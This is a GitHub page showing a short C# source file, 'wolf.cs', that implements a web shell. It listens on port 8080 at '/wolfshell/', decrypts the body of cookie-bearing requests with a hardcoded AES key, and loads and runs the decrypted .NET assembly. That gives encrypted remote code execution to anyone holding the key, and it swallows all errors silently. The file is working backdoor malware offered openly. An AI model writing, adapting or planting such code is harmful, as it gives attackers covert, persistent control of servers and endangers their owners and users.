Repository navigation
Expand file tree
/
Copy pathwolf.cs
More file actions
45 lines (44 loc) · 1.58 KB
/
Copy pathwolf.cs
File metadata and controls
45 lines (44 loc) · 1.58 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
using System;
using System.IO;
using System.Net;
using System.Text;
using System.Security.Cryptography;
using System.Reflection;
namespace wolf
{
class Program
{
static void Main(string[] args)
{
string url = "http://+:8080/wolfshell/";
using (HttpListener listener = new HttpListener())
{
listener.Prefixes.Add(url);
listener.Start();
while (true)
{
try
{
HttpListenerContext context = listener.GetContext();
byte[] k = Encoding.Default.GetBytes("ca63457538b9b1e0");
if (context.Request.Cookies.Count != 0)
{
MemoryStream ms = new MemoryStream();
context.Request.InputStream.CopyTo(ms);
byte[] c = ms.ToArray();
if (c.Length > 0)
{
RijndaelManaged rm = new RijndaelManaged();
byte[] d = rm.CreateDecryptor(k, k).TransformFinalBlock(c, 0, c.Length);
Assembly.Load(d).CreateInstance("K").Equals(context);
}
}
context.Response.StatusCode = 200;
context.Response.Close();
}
catch { }
}
}
}
}
}